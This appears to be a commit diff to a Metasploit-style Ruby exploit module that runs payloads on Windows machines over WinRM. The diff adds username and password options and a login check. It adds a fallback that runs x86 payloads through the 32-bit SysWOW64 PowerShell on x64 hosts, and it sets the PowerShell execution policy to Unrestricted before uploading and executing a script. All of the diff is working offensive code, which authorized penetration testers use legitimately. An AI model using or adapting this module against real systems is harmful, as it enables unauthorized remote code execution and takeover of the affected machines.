@@ -56,7 +56,9 @@ def initialize(info = {})
56
56
57
57
register_options (
58
58
[
59
- OptBool . new ( 'FORCE_VBS' , [ true , 'Force the module to use the VBS CmdStager' , false ] )
59
+ OptBool . new ( 'FORCE_VBS' , [ true , 'Force the module to use the VBS CmdStager' , false ] ) ,
60
+ OptString . new ( 'USERNAME' , [ true , 'A specific username to authenticate as' ] ) ,
61
+ OptString . new ( 'PASSWORD' , [ true , 'A specific password to authenticate with' ] ) ,
60
62
] , self . class
61
63
)
62
64
@@ -65,12 +67,12 @@ def initialize(info = {})
65
67
OptString . new ( 'DECODERSTUB' , [ true , 'The VBS base64 file decoder stub to use.' ,
66
68
File . join ( Msf ::Config . install_root , "data" , "exploits" , "cmdstager" , "vbs_b64_sleep" ) ] ) ,
67
69
] , self . class )
68
-
70
+ @compat_mode = false
69
71
end
70
72
71
73
def check
72
74
unless accepts_ntlm_auth
73
- print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
75
+ print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth"
74
76
return Msf ::Exploit ::CheckCode ::Safe
75
77
end
76
78
@@ -82,8 +84,11 @@ def exploit
82
84
unless check == Msf ::Exploit ::CheckCode ::Vulnerable
83
85
return
84
86
end
87
+ unless valid_login?
88
+ print_error "Login Failure. Recheck your credentials"
89
+ return
90
+ end
85
91
if powershell2?
86
- return unless correct_payload_arch?
87
92
path = upload_script
88
93
return if path . nil?
89
94
exec_script ( path )
@@ -127,15 +132,15 @@ def upload_script
127
132
128
133
def exec_script ( path )
129
134
print_status "Attempting to execute script..."
130
- cmd = "powershell -File #{ path } "
135
+ cmd = "#{ @invoke_powershell } -File #{ path } "
131
136
winrm_run_cmd_hanging ( cmd )
132
137
end
133
138
134
139
def encoded_psh ( script )
135
140
script = script . chars . to_a . join ( "\x00 " ) . chomp
136
141
script << "\x00 " unless script [ -1 ] . eql? "\x00 "
137
142
script = Rex ::Text . encode_base64 ( script ) . chomp
138
- cmd = "powershell -encodedCommand #{ script } "
143
+ cmd = "#{ @invoke_powershell } -encodedCommand #{ script } "
139
144
end
140
145
141
146
def temp_dir
@@ -173,11 +178,12 @@ def check_remote_arch
173
178
end
174
179
175
180
def correct_payload_arch?
176
- target_arch = check_remote_arch
177
- case target_arch
181
+ @ target_arch = check_remote_arch
182
+ case @ target_arch
178
183
when "x64"
179
184
unless datastore [ 'PAYLOAD' ] . include? "x64"
180
- print_error "You selected an x86 payload for an x64 target!"
185
+ print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
186
+ @compat_mode = true
181
187
return false
182
188
end
183
189
when "x86"
@@ -218,8 +224,15 @@ def powershell2?
218
224
end
219
225
end
220
226
227
+ return false unless correct_payload_arch? or @target_arch == "x64"
228
+ if @compat_mode == true
229
+ @invoke_powershell = "%SYSTEMROOT%\\ SysWOW64\\ WindowsPowerShell\\ v1.0\\ powershell.exe"
230
+ else
231
+ @invoke_powershell = "powershell"
232
+ end
233
+
221
234
print_status "Attempting to set Execution Policy"
222
- streams = winrm_run_cmd ( "powershell Set-ExecutionPolicy Unrestricted" )
235
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Set-ExecutionPolicy Unrestricted" )
223
236
if streams == 401
224
237
print_error "Login failed!"
225
238
return false
@@ -228,12 +241,21 @@ def powershell2?
228
241
print_error "Recieved error while running check"
229
242
return false
230
243
end
231
- streams = winrm_run_cmd ( "powershell Get-ExecutionPolicy" )
244
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Get-ExecutionPolicy" )
232
245
if streams [ 'stdout' ] . include? 'Unrestricted'
233
246
print_good "Set Execution Policy Successfully"
234
247
return true
235
248
end
236
249
return false
237
250
end
238
251
252
+ def valid_login?
253
+ data = winrm_wql_msg ( "Select Name,Status from Win32_Service" )
254
+ resp , c = send_request_ntlm ( data )
255
+ unless resp . code == 200
256
+ return false
257
+ end
258
+ return true
259
+ end
260
+
239
261
end
0 commit comments